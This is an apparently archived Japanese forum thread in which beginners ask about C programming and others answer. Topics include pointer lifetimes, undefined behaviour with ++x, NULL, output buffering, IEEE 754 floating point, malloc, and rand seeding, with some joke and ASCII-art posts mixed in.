array[2] = u;
p = array;
return p;
}
0332名無しさん
NGNG0333デフォルトの名無しさん
NGNG>>331のコードだと、p の指す実体はローカル変数の array だ。
だから foo() から戻った時点で次元の狭間へ消えてしまう。
>>327のなら、p の指す先はmallocで確保したバッファだ。
だから、自分で free() しない限りはずっと残ってる。
0334デフォルトの名無しさん
NGNGやっぱり「プログラミング言語C」を読み直した方が良いと思うが。。。
read_file() の先頭にあるように
first = malloc(sizeof(*prev));
first は malloc() で確保した領域へのポインタを返している。malloc()
で確保した領域の寿命は変数スコープに縛られないから問題なし。
問題となるのは、自動変数のアドレスを返す場合のみ。
次の例は NG
char *foo()
{
char c;
return (&c);
}
次の例は OK
char *foo()
{
char *p = malloc(sizeof(char));
return (p);
}
char *foo()
{
static char c;
return (&c);
}
0335デフォルトの名無しさん
NGNGああ、なるほど。ようやくみなさんがmalloc()使え、とおっしゃることが
理解できました。どうもありがとうございました!!感謝します。
0336デフォルトの名無しさん
NGNG> firstの指す実体はread_file()を
> 抜けた後でも残っているのでしょうか?
mallocで確保した実体はfreeを呼び出したり、
プログラムが終了しない限り残ります。
ローカル変数は関数を抜けると自動的に破棄されます。
>>331の例の場合、returnしたポインタがローカルに実体を持っているので
関数を抜けたときに実体が破棄され、破棄された実体を参照しようとしたため
Segmentation Faultが発生します。
ポインタを扱う場合、実体がどこにあるかを強く意識してください。
0337デフォルトの名無しさん
NGNGASSERT((++x*y+x)==24);
これはカンキョウイゾンでしょうか?
0338デフォルトの名無しさん
NGNGたぶん ++x と x を一つの式で書いて良いのかと聞きたいのだと思うが、それ以前の
問題として
- assert() ではなく ASSERT() 使ってる時点で環境依存
- ASSERT() の中で x をインクリメントしているので、デバッグビルドとリリースビルド
で動作が変わってしまう
だよ。
0339デフォルトの名無しさん
NGNG‖川 | | | ー ー|| / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
川川 | |ー□--□l < 「C言語ならオレに聞け!」っと・・・
川川| | \ J/|| \________
川川‖ | ロ|/| カタカタカタ
川川|‖\|__|l|l _____
/川川川__/川川 | | ̄ ̄\ \
| 川川| |/川l__,| | | ̄ ̄|
| \_|__|_|、__| | |__|
| \____|つ |__|__/ /
| | | | ̄ ̄ ̄ ̄| 〔 ̄ ̄〕
0340デフォルトの名無しさん
NGNGASSERTはクセでした。
if(...);
にかえてくだされ。
0341デフォルトの名無しさん
NGNG処理系依存といえばセーフだったのかな
0342デフォルトの名無しさん
NGNG副作用があるから、処理系依存ってことでいいですか?
確か ++x * x みたいのはだめですよね?
0343デフォルトの名無しさん
NGNGしかしこの場合は++x*y+xなので、優先順位から言えば問題ないのでは?
if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
0345デフォルトの名無しさん
NGNGヒント: sequence point
0346デフォルトの名無しさん
NGNG処理系依存じゃなくて、未定義。
0347デフォルトの名無しさん
NGNG> ++x*y+xなので、優先順位から言えば問題ないのでは?
問題大あり
> if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
オッケー
違いが分からなければC-FAQの3章を分かるまで読め。
糞レスしてるよりは有意義な時間を過ごせる
0348デフォルトの名無しさん
NGNGあなた達には分からないでしょうが、Rubyは素晴らしい言語です。
オブジェクト指向スクリプト言語として他のスクリプト言語を圧倒する性能と美しい言語仕様を持っています。
例えば、SchemeやSmallTalkなどは比較的美しい言語だと言われていますが、後発である優位さでRubyは
さらなる美しさと実用性を備えています。
もちろんPerlやPythonなど問題外です。
日本語との親和性ではRubyしか選択肢がないでしょう。
LinuxのディストリビューションもRubyの採用例が増えてきています。
1年後には全てのディストリビューションがRubyを標準採用するでしょう。
Rubyは未来のスクリプト言語なのです。
長くなりましたが、コピペではありません。
賛同していただける方はRubyの事を分かっていただけない人に出会ったら、
この発言をコピペしていただければ幸いです。
0349デフォルトの名無しさん
NGNGC言語でのNULLと0と'\0'の違いがわかりません。
NULLは、((void *)0)と定義されていましたが、
どういうことでしょうか?
実際プログラムで、((void *)0)を表示させると
私の環境では(null)と表示されました。
また、((void *)0)を((char *)0)とすると落ちました。
この違いもわからずさっぱりです。
すいませんが、教えてください。
0350デフォルトの名無しさん
NGNG0 と NULL は型が違うやね。
NULL はポインタが「何も指していない」ことを示すときに使う。
'\0' と 0 は両方整数型だが、文字列の終端を表す NUL 文字を表すときに
は前者、数値の 0 を表すときには後者を使うのが一般的。
あとは C FAQ 読みましょう。
0351デフォルトの名無しさん
NGNGDebug/test.exe : fatal error LNK1120: 外部参照 1 が未解決です。
雑魚質問。
Borland C++ Compiler 5.5ではコンパイルできたけど、VC++6.0では上記のエラーが。
このエラー見ただけで理由分かるもんなの?
0352デフォルトの名無しさん
NGNG0353sage
NGNGなわけないか。
BCCって俺よくしらんのだけど、
wchar_tをどのくらいサポートしてんのかな。
0354デフォルトの名無しさん
NGNGgetline(char line[], int maxline)って間違ってない?
Cのバイブルといわれる本にこんな間違いがあっていいのでしょうか?
int getline(char s[], int lim)
{
int c, i, j;
j = 0;
for(i = 0; (c = getchar()) != EOF && c != '\n'; ++i)
if(i < lim -2){
s[j] = c;
++j;
}
if(c == '\n'){
s[j] = c;
++j;
++i;
}
s[j] = '\0';
return i;
}
retun されるiが'\0'を含んだり含まなかったりしてない?
0355デフォルトの名無しさん
NGNG返値は、s[] に読み込んだ文字数ではなくて
標準入力から取り出した文字数という仕様ではないのか。
そうでないと i と j を分けてる意味ねーし。
0356デフォルトの名無しさん
NGNGどういう場合に'\0'を含んでるって言うんだ?
それと、アンサーブック はバイブルじゃないだろ…。
0357デフォルトの名無しさん
NGNG0358デフォルトの名無しさん
NGNG∧ ∧ ┌─────────
ミ ´ー`ミ < Rubyはクソです。ゴミ箱逝きです。 いじょーヨ
\ < └──/|────
\.\ ミ ミ
\""""""""""/
∪∪""∪∪
この発言をコピペしていただければ幸いです。
0359デフォルトの名無しさん
NGNGあまりわかりませんでした。
みんなは何からプログラム言語をはじめましたか?
0360デフォルトの名無しさん
NGNG0361デフォルトの名無しさん
NGNG0362デフォルトの名無しさん
NGNG>>入門書などを見ても、basicを経験してる事を前提としていて
何も知らない初心者向けのCの解説本もたくさんあるぞ。
もっと大きい本屋で探せ。
0363デフォルトの名無しさん
NGNGint i;
return &i;
}
これはありですか?
ローカル変数のメモリは関数終了時に終わる気がするのですが・・・
0364デフォルトの名無しさん
NGNG0365デフォルトの名無しさん
NGNG0366デフォルトの名無しさん
NGNGgccなら-Wallしてれば警告してくれそう。
0367デフォルトの名無しさん
NGNG独習C、C言語アルゴリズム+徹底入門(いい本だった)、
cc&lint、C言語プログラミング(H.M.ダイテル+P.J.ダイテル)。
その後でK&R読んだ。
あと、FreeUNIXにはソースがついてるので、libcの中の
関数のソース読んだり。んで、コンピュータアーキテクチャ
っていう本読んだり。大変だったが、面白いぞ。
他の言語とは違ってマシンを制御してるって実感が
もてる。
0368デフォルトの名無しさん
NGNG0369デフォルトの名無しさん
NGNGそれだけでは何がなんだかわからん。
1.自分の書いたプログラム実行中に固まった。→ソースコード見せろ。
2.プログラム実行以外の操作で固まった。 →固まる直前に行った操作を明記して、
VC++スレで質問しなおせ。
0370MONTE
NGNGとエラーメッセージが出てしまいました。マニュアルにものって
ないので困ってますが、単純にメモリー不足ということですよね。
どなたか詳しく教えてください。
0371デフォルトの名無しさん
NGNG閉じるを押したら、
一般保護法違反ですという警告が出てきて
詳細を見て閉じたら
画面が青い画面になってとまりました
0372デフォルトの名無しさん
NGNG検索で出てくるよ
求めている答えかはわからんが
http://www.microsoft.com/japan/support/kb/articles/J053/1/87.htm
とか(ちがうとおもうけど)
0373デフォルトの名無しさん
NGNGまたflush関数の役割がいまいちわかりません。
お願いします。
0374デフォルトの名無しさん
NGNGreadとprintfはいっしょに使ってもいいじゃん
flushすると書き込むんだよ。closeしてもいいけど。
0375デフォルトの名無しさん
NGNGC++において
coutとprintfを併用した時のように
挙動が変になる事が多々ありませんか?
0376デフォルトの名無しさん
NGNGprintf はライブラリレベルでバッファリングしてます。
なので、いっしょに使うと printf 側がびっくりします。
ライブラリレベルでのバッファをフラッシュするのが fflush。
flush は知らないです。
printf と併用するなら、fread/fwrite あたりが吉。
0377デフォルトの名無しさん
NGNGレスありがとうございます。
write,readというのはカーネルレベルでもバッファリングしないのでしょうか?
あと、printfがびっくりする(笑 というのは具体的になにが行われるのでしょうか?
よろしくお願いします。
0378デフォルトの名無しさん
NGNGI/Oはバッファリングされますけれど、キャラクタデバイスは
バッファリングされません。
[printf がびっくりする話]
printf("hehe") バッファにためとく
↓
write("hoho") 出力されちゃう
↓
fflush/fclose いまごろ "hehe" が出力される
↓
順番ちゃうやん
以上例えばの話
実際はもっとワケワカなことが起こるかも
0379デフォルトの名無しさん
NGNG解りやすくありがとうございました。
とても勉強になりました。
0380デフォルトの名無しさん
NGNGしつこくてすいません。最後に質問させてもらいます。
そこら辺の事を勉強するにはアセンブリの勉強をするのが得策でしょうか?
0381デフォルトの名無しさん
NGNGアセンブラがわかることは良いことですが、
この話にはあまり関係ないでしょう。
(...て、UNIXで良かったのかしら?)
0382デフォルトの名無しさん
NGNG>>370
関数が長すぎるとコンパイルできないコンパイラもあるって
聞いたことあるけど、それならマニュアルに書いてあるだろうし…。
いずれにせよコンパイル時にメモリが足りないといってきてるんだから、
ソースコードを適当に分割してコンパイルしてみてはどうだろうか?
0383デフォルトの名無しさん
NGNG度々ありがとうございました。
ちなみに私はLINUX房です。
0384デフォルトの名無しさん
NGNG一般保護違反って言うだけでは何が起こったか特定できないので、
そのソースコードを見ないと、誰も何も答えられないと思うよ。
0385デフォルトの名無しさん
NGNGライブラリのソースコードを読むのがいいと思いますが。
*BSD なら /usr/src/lib/libc
VC6 なら C:\Program Files\Microsoft Visual Studio\VC98\CRT\SRC
あたりにインストールされてるでしょ。VC はデフォルトだとインストール
されないかも。
0386デフォルトの名無しさん
NGNGでは一般的にどういう時に起こるのでしょう?
0387デフォルトの名無しさん
NGNG一般保護違反が出るケースは、
1 ポインタの使い方を間違った
2 メモリが腐ってる
3 電源容量が足りない
とか、いろいろあるけど。
0388デフォルトの名無しさん
NGNGどう考えていけばいいのでしょうか?
できれば、そういうことについて載っている本につい
ても教えてください。
OSは、Linuxを使ってやりたいと思っています。
0389デフォルトの名無しさん
NGNGムービーの再生? 2D/3Dゲーム?
0390388
NGNGぜんぜん大層なものではなく、科学技術計算で
リアルタイムな動きを追ってみたいのですが、
できれば、何かのライブラリを使うよりも、自分でいじりたいです。
これを通して、少し言語の勉強も兼ねられたらと思ってます。
0391デフォルトの名無しさん
NGNGforループでまわせばいいのですが、Basicにそんな関数があった気がした
のでもしやと思い質問しました。
0392デフォルトの名無しさん
NGNG無いと思うし、あっても使わないでしょ。
0393デフォルトの名無しさん
NGNGmemset を調べてごらん
でも、CとかDelphiはコンパイラだから
その程度の事はさっさと作ってしまってもいいんだよ
0394デフォルトの名無しさん
NGNG普通、使うでしょ。
0395デフォルトの名無しさん
NGNGに格納されているのかは、よく書籍などにも書いてあるので理解
したのですが、少数は2進数ではどのように表現するのでしょ
う?たとえば、0.1や0.2は2進数ではどのように表現したらよい
のでしょうか?また、float型やdouble型の文字列は、ビット列
としてどのように格納されているのでしょうか?
float型やdouble型に対してビット演算を施そうとすると、コン
パイラに怒られてしまうのですが、たとえば、"float f = 0.1"
のfのビット列を表示させるプログラムはどのようにして作成し
たらよいでしょうか?
初心者ですいません。教えてください。
0396395
NGNGの間違いです。すいません。
0397デフォルトの名無しさん
NGNG> 少数は2進数ではどのように表現するのでしょう?
http://www.pro.or.jp/~fuji/mybooks/cpro/cpro.4.2.3.html
> ビット列を表示させるプログラムはどのようにして作成し
> たらよいでしょうか?
URLに示したprmem()を参考にしろ。
ちなみにprmem()関数内のjは定義されているが使われていない。
prmem()関数は1文字ずつ16進に変換しているが、
16進変換部分を2進変換をする関数に置き換えてやればいい。
1文字を2進数に変換する関数は宿題とする。
0398デフォルトの名無しさん
NGNG小数の2進表記
0.5 -> 0.1
0.25 -> 0.01
0.75 -> 0.11
0.125 -> 0.001
浮動小数点の形式は何種類かある
まずはIEEE754を調べてみな
0399名無しさん
NGNGぜひお教えください。
0400395
NGNG>http://www.pro.or.jp/~fuji/mybooks/cpro/cpro.4.2.3.html
>URLに示したprmem()を参考にしろ。
ありがとうございます。大変参考になりました。
>1文字を2進数に変換する関数は宿題とする。
解いてみました。添削していただけると幸いです。
static char *ctobit(char *p, const unsigned char ch)
{
unsigned char tester;
char *q;
q = p;
tester = 1;
tester <<= 8 - 1;
while (tester != 0) {
if ((ch&tester) == 0) {
*q++ = '0';
}
else {
*q++ = '1';
}
tester >>= 1;
}
*q = '\0';
return p;
}
>>398
>まずはIEEE754を調べてみな
これは、どこで入手できるのでしょうか?
0401デフォルトの名無しさん
NGNG固定少数点による少数表現については 「好きなように」 が答えです
たとえば 0.1を 整数の1に対応づけて 1.0を整数の10と対応づけてもいいですしね
0402デフォルトの名無しさん
NGNG0403デフォルトの名無しさん
NGNGパッケージがもしかするとどこかにあるかもしれないけど俺は知らない。
しかし、
それは数式処理という範疇だからMathematica / REDUCE / mathcad などの守備範囲に入る
素直にそっちを使った方がいいぞ
0404名無しさん
NGNG逆ラプラス変換ですが、Mapleでできますか?
0405395
NGNGIEEE754がなにかの規格だということはわかったのですが、
その規格はどうやったら入手できるのかはわかりませんでした。。
Webでは入手できないもので、書店で注文すべきものなのでしょうか?
0406デフォルトの名無しさん
NGNG> 解いてみました。添削していただけると幸いです。
良いと思います。
>if ((ch&tester) == 0) {
> *q++ = '0';
>}
>else {
> *q++ = '1';
>}
は
*q++ = ((ch&tester) == 0 ? '0' : '1';
とも書けますが、趣味の問題でしょう。
0407デフォルトの名無しさん
NGNG文字列に全角カタカナの「ソ」とかがあるとコンパイラとおらないので
困っています。
0408デフォルトの名無しさん
NGNG日本語 EUC を使う。
0409デフォルトの名無しさん
NGNGhttp://www.mathworks.com/access/helpdesk/jhelp/toolbox/fixpoint/c3_bev12.shtml
0410395
NGNGありがとうございます。メモリ上にどのように格納されているか
理解することができました。
もうすこし質問させてください。NaNとはなんでしょうか?バイアス
をかける理由がよくわからないのですが、NaNとInfinityを予約する
ためと考えてよいでしょうか?NaNやInfinityはどのように表現
されているのでしょうか?
初心者ですいません。よろしくお願いします。
0411デフォルトの名無しさん
NGNGNaN はエラーの検出を先送りにするために使われます。
0/0 とか ∞ - ∞ のような意味のない計算を行ったときに、あとで「計算途中で
エラーが発生した」ことをプログラマに伝えるために NaN という特殊な数値を設
定しておきます。
IEEE 754 だと NaN は
単精度
指数 255
仮数 !0
倍精度
指数 2047
仮数 !0
です。指数はそのままで仮数を 0 にすると ∞。
詳しくは、その筋の書籍を読んでください。数値計算の専門書ではありませんが、
パターソン&ヘネシーの「コンピュータの構成と設計」あたりは解説も丁寧で、学
習に適しているかと。
0412デフォルトの名無しさん
NGNGjavaとかみたいに、0.0<=乱数<1.0って無理なんですか?
32767/32768>0.99996…なので純粋な乱数にはならないし。
ご教授願います。
0413デフォルトの名無しさん
NGNGなるほど!やってみたらできました。ありがとうございました。
0414デフォルトの名無しさん
NGNG乱数を複数用意して、15bitづつシフトアップしたものをOR
%で微調整可。
0415デフォルトの名無しさん
NGNGint ccc;
aaa = &ccc;
aaa += 0x100;
とかってしてはいけないんでしょうか?
VC++だとvoid*型のやつの演算はできないってエラーになります。
これって一般的なC/C++言語の規格なの?
というのを疑問に思っているのですが....。
0416デフォルトの名無しさん
NGNG当然ダメですが。
次のコードをコンパイルしてアセンブラ出力見てみ。
char *cp;
int *np;
++cp;
++np;
0417デフォルトの名無しさん
NGNGprintf("%p\n", cp);
cp++;
printf("%p\n", cp);
printf("%p\n", np);
np++;
printf("%p\n", np);
でもいいと思うが...
0418415
NGNGなんか全くエラーでないコンパイラもあるんですよね。
ので疑問に思っただけです。
0419デフォルトの名無しさん
NGNGそのコンパイラで、
void *p = 0;
p++;
としたら、pはいくつになるのか?
0420デフォルトの名無しさん
NGNGそれより、ソースの中で\ってどういう意味ですか?
0422デフォルトの名無しさん
NGNGさすがに、それは「プログラミング言語C」読め、で終わりだろ。
0423デフォルトの名無しさん
NGNG初級は脱したと思うのですが、さらなるスキルアップのためにやるべき事は何でしょうか?
正直、中級上級者用の本は存在しませんよね?
0424デフォルトの名無しさん
NGNGK&R 読んだ?
アルゴリズムの本読んだ?
0425デフォルトの名無しさん
NGNG他人のソースコードを積極的に読み、
暇があれば何か新しいコードを書く。
0427デフォルトの名無しさん
NGNGFreeBSDのカーネルのソース
間違ってもMozilla6のソースは読むな
0428デフォルトの名無しさん
NGNGK&Rの練習問題をアンサーブックなしで全て解いてみろ。
# ちなみに俺は挫折した
0429デフォルトの名無しさん
NGNGlong n = 0;
double t = timeGetTime();
while( true ) printf( "%f", n++ / ( t - timeGetTime() ) );
何が変?
もしかして 「 t == timeGetTime() 」?
0430デフォルトの名無しさん
NGNGそのコードに何を期待しているのか不明。強いて言えばお前の頭が変。
0431デフォルトの名無しさん
NGNG君の頭のなかもぐるぐるまわっているのかな?
0432デフォルトの名無しさん
NGNG例えば1ループに要する時間を測りたいならば。
double startTime=timeGetTime();/*おいこんな関数あったっけ?*/
long n;
for(n=0;.......;n++)
{
......
}
double endTime=timeGetTime();
printf("%lf",(endTime-startTime)/(double)n);
とすればいいやね!
double は %lf だったっけ?
0433デフォルトの名無しさん
NGNGscanf()では%lfなので注意。
0434429
NGNGwhile( true ) printf( "%f", n++ / ( t - timeGetTime() ) );
↓
while( true ) printf( "%f", n++ / ( double )( t - timeGetTime() ) );
timeGetTime() は time.h にあるはずです。
ミリ秒単位で時間を得られます。
無限ループですが、「 ctrl + c 」という必殺技があるので問題ありません。
0435ななしさん
NGNGを作りたいと思います.
形式としてはCreateArray(int n)みたいにしてやって,引数nの数だけ
array[0]からn個の配列を準備して,rand()で順次値を入れていき,配列
へのポインタを返す,というのを想定して書いてみたのですが,コンパイルす
ると配列の量が決まってないとダメ,というようなことを言われてしまいます.
エラーから推測するにコンパイルの時点でどれだけ割り当てるかを決めてない
せいだと思うのですが,実行したときに臨機応変にやってくれるような巧い方
法ってありますか?
ポインタを返されてからの処理にも困ってはいるのですが,とっかかりだけで
も教えていただければと思うのですが・・・あとは調べてやってみたいと思い
ますので,どなたかよろしくお願いします.
0436デフォルトの名無しさん
NGNGまず、timeGetTime()はWindowsのAPIだからmmsystem.hな。
あと、timeGetTime()の戻り値はdoubleじゃなくてDWORDな。
あと、tが本当にdouble型ならキャストしなくても自動的に変換されてるはずだと思うが?
0437C言語3日目
NGNG初めてこの意味が理解できたYO
0438デフォルトの名無しさん
NGNGCなら、「malloc」を調べるべし。
C++なら new で。
0439デフォルトの名無しさん
NGNGdouble a, b = 0.0;
a = 1.0 / b;
printf("gehehe");
ゼロ除算例外で実行が中断されることなく gehehe が出力されるっすね
これは C や C++ の仕様なんすか?
0440439
NGNGprintf("%f", a);
て出力してやると
1.#INF00
て出てきました
そこはそれなりに考えてくれてるってことっすねー
0441デフォルトの名無しさん
NGNG処理系依存です。決まってません
0442デフォルトの名無しさん
NGNGこの機会に IEEE754 について調べると、理解が深まると思うぞ。
0443デフォルトの名無しさん
NGNGint test[3][5][7]
というのを定義したいとです。
添え字を左からx,y,zとしたばあい
2次元配列なら
int test[3][5] = {
{ (x0.y0),(x0.y1),(x0.y2),(x0.y3),(x0.y4) },
{ (x1.y0),(x1.y1),(x1.y2),(x1.y3),(x1.y4) },
{ (x2.y0),(x2.y1),(x2.y2),(x2.y3),(x2.y4) }
}
というような感じで(x0.y0)のところに、
xが0でyが0の場合の値を入れればいいということは
わかったのですが、3次元の場合(x0.y0.z0)
どうすればいいのかわからないです。
よろしくお願いします。
0444デフォルトの名無しさん
NGNGint *CreateArray(int n)
{
return (int *)malloc(sizeof(int) * n);
}
使い終わったらfree()で解放したほうが良い。
/* 配列にランダムな値を設定する */
/* n は配列の要素数 */
void setRand(int *array, int n)
{
int i;
for(i = 0; i < n; i++){
array[i] = rand();
}
ま、確保と設定を同じ関数でやってもいいと思うが。
0445デフォルトの名無しさん
NGNG[3][5][7] なんて巨大な数字を例にするのはやめれ。
int test[4][3][2] = {
{ {0,0}, {0,0}, {0,0} },
{ {0,0}, {0,0}, {0,0} },
{ {0,0}, {0,0}, {0,0} },
{ {0,0}, {0,0}, {0,0} }
};
4次元配列なら、さらに { } が増えます。
0446デフォルトの名無しさん
NGNG> 3次元配列の初期化のやり方を教えてください。
> int test[3][5][7]
> というのを定義したいとです。
int test[2][3][4]を初期化します。
int test[3][5][7]は下記を適当に応用してください。
int test[2][3][4] = {
{
{ (x0.y0.z0),(x0.y0.z1),(x0.y0.z2),(x0.y0.z3) },
{ (x0.y1.z0),(x0.y1.z1),(x0.y1.z2),(x0.y1.z3) },
{ (x0.y2.z0),(x0.y2.z1),(x0.y2.z2),(x0.y2.z3) },
},
{
{ (x1.y0.z0),(x1.y0.z1),(x1.y0.z2),(x1.y0.z3) },
{ (x1.y1.z0),(x1.y1.z1),(x1.y1.z2),(x1.y1.z3) },
{ (x1.y2.z0),(x1.y2.z1),(x1.y2.z2),(x1.y2.z3) },
},
};
0447デフォルトの名無しさん
NGNG0448デフォルトの名無しさん
NGNGカニチャーハン丸呑み
0449デフォルトの名無しさん
NGNG0451デフォルトの名無しさん
NGNG0452デフォルトの名無しさん
NGNG毎日使ってれば勝手に覚える。日本語と同じ
ある程度使いこなせると思ったらK&Rを読んでみろ
より一段深い知識が身につけられるだろう
私はCの文法はこれで足りると思っている。
関数などは全部など覚えていないし、覚える必要もない。
リファレンスマニュアルとか検索エンジンで調べる。
分からない単語は辞書をつかって調べるのと同じ。
また、人のソースを読め。
偉大な文豪は同時に読書家であり、話し上手は聞き上手の人が多い。
はっとさせられる表現、考え方は素直に取り入れろ、
読みにくい、分かりにくいソースに出会ったとき、
どうすれば読みやすく、分かりやすいソースになるか考えろ。
良いソースも悪いソースも君の成長に一役買ってくれることだろう。
0454デフォルトの名無しさん
NGNGお願いします
0455デフォルトの名無しさん
NGNGまず、system関数を調べてみろ。
次にもう少し高度な方法として
DOS(LSI-C)系:spawnl,spawnlp,spawnv,spawnvp,spawnle,
spawnlpe,spawnve,spawnvpe
Unix(posix)系:execve, execlp, execvp,execl, execv,
execle, exect
とかいうのもある。
0456454
NGNGありがとうございます、早速調べてみます
0457デフォルトの名無しさん
NGNG禿動!いい考え方だ。
0458age
NGNG0459デフォルトの名無しさん
NGNGvoid abc(char *sz){
sz = "ABCDEFG";
return;
}
int main(void){
char *a;
abc(a);
return 0;
}
とあった場合、関数abc()内の文字列リテラル"ABCDEFG"は、いつまでメモリ上に存在するのですか?
・"ABCDEFG"が書かれた行だけ
・関数abc()が終了するまで
・プログラムが終了するまで
のどれかだと思うのですが、正確な仕様などは決まっているのでしょうか。
0460デフォルトの名無しさん
NGNGプログラム終了するまで存在してます。
0461デフォルトの名無しさん
NGNGそのコードだと、main() で abc(a); から帰ってきた後の a の値はゴミであることに注意せよ。
0462デフォルトの名無しさん
NGNG"ABCDEFG"はプログラムが終了するまでメモリに存在するが、それを
「szが指している」という事実は関数abcの中でしか通用しない。
0463C始めてです。
NGNG{
char to*[];
copy(to);
}
copy(char *to[])
{
strcpy(to[0], "AAA"); <-こんな事できるんですか?
strcpy(to[1], "BBB");
strcpy(to[n], "ZZZ");
}
領域は確保されているんですか?
アドバイスお願いします。
0464デフォルトの名無しさん
NGNG家、領域が確保されていないので実行時にエラーとなります(エラーチェックが
あまり環境だと、メモリを壊しつつプログラムが暴走します)。
-------------------------------
#include <stdlib.h>
#include <string.h>
void
copy(char *to[])
{
to[0] = strdup("AAA");
to[1] = strdup("BBB");
to[2] = strdup("ZZZ");
}
int
main(void)
{
char *to[3];
copy(to);
return (0);
}
-------------------------------
0465土初心者
NGNG0466デフォルトの名無しさん
NGNGエディタとして、何を使うべきかという話ですか?
0467デフォルトの名無しさん
NGNG>char to*[];
そもそも↑こんなコードはコンパイルできないぞ
0468デフォルトの名無しさん
NGNG最悪メモ帳でも書けるが・・・さすがにちとツライかな・・・オートインデントさえあれば、どんなエディタでも。
0469デフォルトの名無しさん
NGNG多分、Vzが代表的だったんだが…。
そもそも、窓なら統合環境使うのが一番いいよな。
無料コンパイラ使ってるならそうはいかないだろうが…。
0470デフォルトの名無しさん
NGNG環境や使っている処理系にも拠ると思いますしC言語固有のネタでもないので、
続けるなら別スレで……。エディタのスレッドってありませんでしたっけ?
0471459
NGNGレスありがとうございます。
勉強になります。
0472デフォルトの名無しさん
NGNG0473472
NGNGそういうわけでLINUX+emacs
0474デフォルトの名無しさん
NGNG0475デフォルトの名無しさん
NGNG0476デフォルトの名無しさん
NGNG二つのtxtファイルがあって
その二つの共通部分を表示させたいんですが
date1.txtの内容が
aaaa
cccc
eeee
ffff
date2.txtの内容が
bbbb
dddd
ffff
hhhh
としてdate1.txtとdate2.txtの共通部分である
ffffを変数に取り込むにはどうしたら言いのでしょうか
0477デフォルトの名無しさん
NGNG0478デフォルトの名無しさん
NGNGいや、そうじゃなくて
二つのファイルから共通部分を取り出したいんです。
教えてください。
0479デフォルトの名無しさん
NGNG0480デフォルトの名無しさん
NGNGそれしかないじゃん
0481>>479-480
NGNG0482まわりくどいが
NGNGuniq date2.txt > d2
sort d1 d2 | uniq -d
0483デフォルトの名無しさん
NGNG∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
( ・∀・)< 勉強の邪魔だから静かにおながいします。
_φ___⊂)__ \_______________
/旦/三/ /|
| ̄ ̄ ̄ ̄ ̄| |
|愛媛みかん|/
0484デフォルトの名無しさん
NGNGあと、メンバが1個の構造体、
typedef struct{
char sample[10];
} SAMPLE_ST;
このようなものをたまに見ますが、これは何の意味が合って構造体にしているのですか?
単にわかりやすくするため?
0485デフォルトの名無しさん
NGNGビットフィールド、使えないこともないと思うが論理積を使用してチェックする方が一般的かも
構造体は書いた人に聞いてくれ。
typedef char[10] SAMPLE_STで良いと思うんだが。
0486デフォルトの名無しさん
NGNG共用体
任意の表示オブジェクトを格納する配列でつかったことがある。
ビットフィールド
圧縮で使った事が有る。
1個の構造体
あとでメンバー追加するかもしれんし。
0487デフォルトの名無しさん
NGNG例えば
void f(char sample[10]){...}
よりも
void f(struct SAMPLE_ST *s){...}
の方が応用や再利用が利く使い方だからです。
例えば
typedef struct{
char sample[10];
int number;
} SAMPLE_ST
のように書きかえたときプログラムの変更を最小限にすることができます。
逆に構造体を使わない場合、プログラムの無数の個所を直す必要が生じます。
0488484
NGNGなるほど、メンバを後から追加することまで考えているのか……。
参考になりました。
とりあえずお礼まで。
0489デフォルトの名無しさん
NGNGstruct SAMPLE_ST a=b;
みたく、配列全体を一瞬でコピーできるようになる。
0490デフォルトの名無しさん
NGNGそれはそうなんだけど、
そのためだけに構造体にする奴は逝っていいんじゃないか?
0491490
NGNG0492デフォルトの名無しさん
NGNG0493名無しさん23
NGNG独学でCを始めたので(プログラム経験なし)
質問内容も曖昧かもしれませんがお許し下さい。
LSIのコンパイラをDLしたのですが
long int って予約語(?)はLSIでは使えないのでしょうか?
int と同じ桁数しか表示できません。
外出かも知れませんが過去ログが膨大で
ちょっと調べるのが億劫だったので
皆様のお知恵を拝借させてください。
お暇な方
よろしくお願いします。
0494デフォルトの名無しさん
NGNG0495デフォルトの名無しさん
NGNG> int と同じ桁数しか表示できません。
これの意味が分からない。
もし、
int i = 10;
long l = 10;
printf("i = %d l = %d\n", i, l);
ならば、同じ桁数しか表示しない。
ちなみに内部表現のことを言っているのだったらLSI-Cの場合、
int 16bit long 32bitなのでbit数は違う
0496名無しさん
NGNG2/3で+0
っていうふうにするにはどうするの?
0497名無しさん
NGNGある変数Aに
確立1/3で
A+1
確立2/3で
A+0
という風にしたいのです。
確立xというのが分かりません。
へぼくてごめんなさい。
0498名無しさん
NGNG0499デフォルトの名無しさん
NGNG日本語習ってこい
0500デフォルトの名無しさん
NGNG ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ (´´
∧∧ ) (´⌒(´
⊂(゚Д゚⊂⌒`つ≡≡≡(´⌒;;;≡≡≡
 ̄ ̄ (´⌒(´⌒;;
ズザーーーーーッ
0501デフォルトの名無しさん
NGNGせめてお前の使う記述言語の言語仕様書を見せろ。
0502デフォルトの名無しさん
NGNGsrand(time(NULL));
if (rand()%3 == 0)
A += 1;
/*
else
A += 0;
*/
こういう話?
0503名無しさん
NGNGAとBがゲームをしており、
Aがかつと+1
負けると+0
となります。
このAのかつ確立を1/3とすると、
ゲームを1000回続けた時どのような
値に収束するか?というような意味の問題を扱っています。
そこで、
確立1/3で
A+1
確立2/3で
A+0
としたいのです。
0504名無しさん
NGNGランダムな
0から1までの値を
ある変数にセットする方法を教えてください。
0505デフォルトの名無しさん
NGNGちなみにC標準関数の乱数はばらつきに限界があるんで適当な
乱数生成アルゴリズムも検討したりしなかったり。
0506デフォルトの名無しさん
NGNG0508名無しさん
NGNG厨房で、すみません。
というのは、
先程の話の続きですが、aがあるゲームをしており、
得点が、ゲームの1ラウンドで、
aが勝つと+1
aが負けると-1
となるようにします。
このゲーム自体の勝ちは、aが20になったら勝ちとしております。
aの初期値を(a=i,0<=i<=20)として、a
が勝つ回数を数えているのですが、
以下のコードでは、なぜか各ラウンドでaが勝ち続けてしまいます。
調べて見るとrand()
が毎回同じ値を返しているのです。
この対策法をどうか教えてください。
急いでいます。
while((a<20) || (a=0)){
srand(time(NULL));
if (rand()%3 == 0){
a += 1;}
else{
a -= 1;}
if(a=20){
win[i]++;
}
}
0509デフォルトの名無しさん
NGNG0510デフォルトの名無しさん
NGNGZ80とかでやれば、ある時期を境にaが負けはじめるかもよ
0511名無しさん
NGNGrandだけにしろということでしょうか。
ほんと厨房で申し訳ないです。
